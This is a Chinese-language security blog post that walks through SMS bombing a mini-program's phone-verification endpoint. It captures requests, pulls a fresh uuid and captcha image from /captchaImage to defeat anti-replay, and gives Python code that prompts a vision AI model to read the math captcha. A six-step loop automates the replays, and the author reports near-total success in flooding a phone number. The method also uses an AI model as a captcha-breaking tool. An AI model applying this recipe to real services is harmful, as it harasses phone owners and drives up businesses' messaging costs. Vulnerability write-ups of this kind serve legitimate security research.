记一次有趣的短信轰炸

短信轰炸是一种业务逻辑安全漏洞,指攻击者利用短信发送接口缺乏频率限制、人机验证或业务上下文校验等缺陷,通过自动化脚本高频触发短信下发,向目标手机号批量发送验证短信,既可对用户造成恶意骚扰与资费损失,也会导致企业短信通道费用激增、服务资源耗尽及合规风险

发现过程

在一个小程序中,存在登陆时需要绑定手机号的功能,初看为很常见的若依二改

image-20260302234056801

尝试测试验证码功能,通过burp抓包数据

1
2
3
4
GET /xxxx/getVerificationCode?pNumber=13411111111&code=54&uuid=0b976797d06a46abb251e0f935266e3a HTTP/2
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i

重发包发现会显示验证码失效

1
{"msg":"验证码已失效","code":500}

绕过防重放

分析数据包,发现参数为pNumber,code,uuid。尝试删除uuid和code

1
{"msg":"Required request parameter 'code' for method parameter type String is not present","code":500}

发现不能成功,尝试爆破code从1-100也仍然失败。回显仍然是验证码失效

1
{"msg":"验证码已失效","code":500}

跟进代码查看。网址利用默认浏览器打开,F12定位接口,在该位置打下断点

image-20260303093404779

1
2
3
4
5
6
7
n.getVerificationCode = function(e) {
return t.http.request({
url: "/xxxx/getVerificationCode",
method: "GET",
data: e
})
}

这里可以看出e就是参数内容,寻找uuid生成方式(code很明显是后端生成的图形验证码运算后的结果),全局搜索uuid

1
2
3
4
5
6
 a.getcaptchaImage)({}).then((function(i) {
var n = i.data;
e.captchaImg = "data:image/gif;base64," + n.img,
e.loginFormData.uuid = n.uuid,
t && uni.$u.toast("图形验证码错误,请重新输入")
}

发现uuid与img一致,都由后端生成而来。且是由getcaptchaImage接口生成。抓包访问接口验证

1
2
3
4
GET /captchaImage HTTP/2
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i

返回包中包括了图片验证码的base64+uuid

image-20260303002503912

那么只需要从这个接口获取这两样数据,再加入到第一个数据包中即可以绕过验证码重放限制。

识别图片验证码

如果利用之前的ocr的话还是很难识别出来的。ocr会把常见的+号识别为t,而*和/一般会被忽略掉识别,需要不断地调试很麻烦。那么则可以直接利用AI模型。将img的base64值先还原成图片,在将图片发送给AI识别,给AI附上提示词。

1
2
3
4
5
图片中是一个个位数的数学表达式,格式如:3+4=? 或 5*2=?
请只识别前三个字符:第一个数字、运算符、第二个数字。
- 数字范围:0-9,运算符:+ - * /
- 输出格式:只输出3个字符,如 3+4 或 5*2
- 不要输出等号、问号、结果或任何解释

AI即可精准识别前三位,再配合脚本运算即可得到code。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def recognize_captcha(img_b64):
try:
response = client.chat.completions.create(
model="xxxx",
messages=[
{
"role": "user",
"content": [
{
"type": "text",
"text": """图片中是一个个位数的数学表达式,格式如:3+4=? 或 5*2=?
请只识别前三个字符:第一个数字、运算符、第二个数字。
- 数字范围:0-9,运算符:+ - * /
- 输出格式:只输出3个字符,如 3+4 或 5*2
- 不要输出等号、问号、结果或任何解释"""
},
{
"type": "image_url",
"image_url": {"url": f"image/png;base64,{img_b64}"},
},
],
}
],
max_tokens=10,
temperature=0,
)

ai_output = response.choices[0].message.content.strip()

cleaned = re.search(r'(\d[\+\-\*\/]\d)', ai_output)
expr = cleaned.group(1) if cleaned else ai_output[:3]

result, expr_str = calculate_simple(expr)
if result is not None:
return {'expression': expr_str, 'result': result, 'raw': ai_output}
return None

except Exception:
return None

image-20260303085429485

那么流程就很清晰了。

1
2
3
4
5
6
1.发包接口/captchaImage触发uuid和图片的base64值生成
2.取出img的base64值先转化为图片发送给AI
3.AI识别图片前三位,记录并发送给下一步运算
4.脚本将前三位数据带入运算得到code
5.将code和uuid放入到/xxxx/getVerificationCode接口中发送
6.循环发包实现重放

这里三四也可以合并让AI一起操作。将思路告诉AI生成代码即可,以下为执行示例图

image-20260303012253976

成功率基本是接近100%的,这里我加入了一秒休眠,正常五秒内发一次没问题。

结果

成功绕过防重放,可以低量爆破(这里有点取决于AI识别的速度),成功造成短信轰炸

image-20260303092202301


记一次有趣的短信轰炸
https://oxshadow.github.io/2026/03/03/记一次有趣的短信轰炸/
作者
ss
发布于
2026年3月3日
更新于
2026年3月10日
许可协议